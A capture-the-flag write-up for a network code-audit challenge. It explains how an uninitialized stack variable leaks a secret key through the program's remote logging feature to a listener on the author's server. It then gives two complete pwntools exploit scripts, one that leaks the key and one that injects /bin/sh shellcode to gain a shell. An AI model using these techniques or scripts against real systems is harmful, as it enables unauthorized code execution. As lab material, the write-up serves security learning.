Key In Haystack [Code Audit]
Absence of stack initialization and subtle vulnerability to leak secrets read onto the stack.
Challenge Description
(Lost it :P)
(Challenge connects over nc
in LAN)
Finding the Vulnerability
The program allows users to interact using 4 menu commands:
get_command()
:
INSERT
: write bytes into a memory section calledadmin_command_page
withrwx
permissions.ADMIN
: request user input and compare with contents of filekey
, execute code atadmin_command_page
on success.GAMBLE
: reads 4 bytes from/dev/urandom
, execute code atadmin_command_page
if the value is exactly 777.LOG
: allow user to specify an IPV4 address and port, and connects to it,log_write
throughout the code writes to that socket.
The goal is to insert shellcode into the allocated memory page, and execute it either through GAMBLE
or ADMIN
. Since GAMBLE
depends on urandom
which is considered secure, this is not a reasonable direction to go towards. We will be looking at leaking the key to obtain admin rights.
We will first look at the function that checks our key:
int get_command(){
int ret;
int key;
int fd;
sleep(1);
ret = get_command_internal();
if(ret==ADMIN){
fd = open("key", O_RDONLY);
read(fd, &key, 4); // this writes the key into the local variable on the stack
close(fd);
ret = key_check((char *)&key, 4);
if(ret==1){
return ADMIN;
}else{
log_write("key is wrong\n");
return 0;
}
}
return ret;
}
User input is obtained inside key_check
. Upon calling the ADMIN
command, the key
variable will be populated with the secret value. Many functions do not initialize variables with values. This brings us our first key observation:
If a function reuses the stack frame and doesn’t initialize the local variables, then the local variables might hold the value of
key
temporarily.
The thing is that almost all the variables are initalized upon first usage (e.g. via read_until
). Even if not, how do we get the values anyway? The second key observation is here:
int insert(){
unsigned int size_max;
unsigned int size;
int ret;
size_max = 0x1000;
log_write("Insert Code\n");
ret = read_until((char *)&size, 4);
if(size>=size_max){
log_write("size is too big:%d, must be less than %d\n", size, size_max);
return -1;
}
if(ret == -1){
return -1;
}
ret = insert_internal(size);
return ret;
}
Notice that if read_until((char *)&size, 4);
terminates without writing anything to size
, then size
has value exactly that of key
, assuming we run INSERT
(triggers insert
as handler) after ADMIN
.
This part of the code in particular, doesn’t handle the erroneous ret == -1
immediately, which gives us a chance to leak the key
value through log_write
since key
should be larger than 0x1000
as long as the MSB 2 bytes are not both 0.
Looking at read_until
, the only way to terminate is to have ret <= 0
before size <= 0
is met and satisfied. We can do this by closing the stdin
buffer and let read
fail to read anything (ret == 0
but maybe size > 0
).
int read_until(char *buf, unsigned int size){
int ret;
while(1){
ret = read(0, buf, size);
if(ret<=0){
return -1;
}
size -= ret;
if(size <= 0)
break;
}
return 0;
}
So we just need to make use of the LOG
command to send the logs to our server and we can get admin access!
Fun fact: notice that inside
log_connect
(handler forLOG
)int log_connect(){ int ret; int port; unsigned int size; char ip_str[0x100]; ...
the
ip_str
has an unnecessarily large size of0x100
to make sure we don’t overwrite thekey
value :) small detail but cool~
Solution
With our 2 key observations, we can lay out the exploit steps (in 2 parts):
First part
- Run
nc -l 8000
on our own server - Start the program and call
LOG
, then pass in our server IP and port 8000 - Run
ADMIN
and input any key (should be wrong unless super lucky) - Run
INSERT
and immediately close input channel (this is easy to do with pwntools) - Get leaked key value from our server’s (listener) output
In particular, this is the output I had:
Listening on 0.0.0.0 8000
CONNECT
key is wrong
Insert Code
size is too big:1315057728, must be less than 4096
process end
- Start a new connection to the program, and call
INSERT
and pass in shellcode to open shell - Call
ADMIN
, then pass in the key we obtained - We should get a shell, and we can
cat
the flag :)
Final Script
get_key.py
:
from pwn import *
import time
DEBUG = True
def open_conn():
if DEBUG:
return process("./keyinhaystack")
else:
return remote("192.168.0.45", 5555)
conn = open_conn()
def hook_log():
ip = b"127.0.0.1" if DEBUG else b"165.22.244.105"
send_command("LOG")
recv_line()
send_line(len(ip).to_bytes(4, 'little'))
send_line(ip)
recv_line()
send_line((8000).to_bytes(4, 'little'))
def send_command(command):
time.sleep(1)
send_line(command, pad=10)
def send_line(msg, pad=None):
if type(msg) == str:
msg = msg.encode()
if pad is not None:
msg = msg.ljust(pad, b'\0')
print("<<<", msg)
conn.send(msg)
def recv_line():
print(">>>", conn.recvline())
# get key
hook_log()
send_command("ADMIN")
send_line("BBBB") # wrong key
send_command("INSERT")
time.sleep(1)
conn.shutdown("send") # close stdin buffer on server
time.sleep(1)
conn.close()
get_shell.py
:
from pwn import *
import time
context.update(arch='amd64', os='linux')
DEBUG = True
def open_conn():
if DEBUG:
return process("./keyinhaystack")
else:
return remote("192.168.0.45", 5555)
conn = open_conn()
def hook_log():
ip = b"127.0.0.1" if DEBUG else b"165.22.244.105"
send_command("LOG")
recv_line()
send_line(len(ip).to_bytes(4, 'little'))
send_line(ip)
recv_line()
send_line((8000).to_bytes(4, 'little'))
def send_command(command):
time.sleep(1)
send_line(command, pad=10)
def send_line(msg, pad=None):
if type(msg) == str:
msg = msg.encode()
if pad is not None:
msg = msg.ljust(pad, b'\0')
print("<<<", msg)
conn.send(msg)
def recv_line():
print(">>>", conn.recvline())
# shellcode = asm(shellcraft.amd64.linux.sh())
shellcode = b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
key = (1499022667).to_bytes(4, 'little')
hook_log()
send_command("INSERT")
send_line(len(shellcode).to_bytes(4, 'little'))
send_line(shellcode)
send_command("ADMIN")
send_line(key) # correct key
time.sleep(1)
conn.interactive()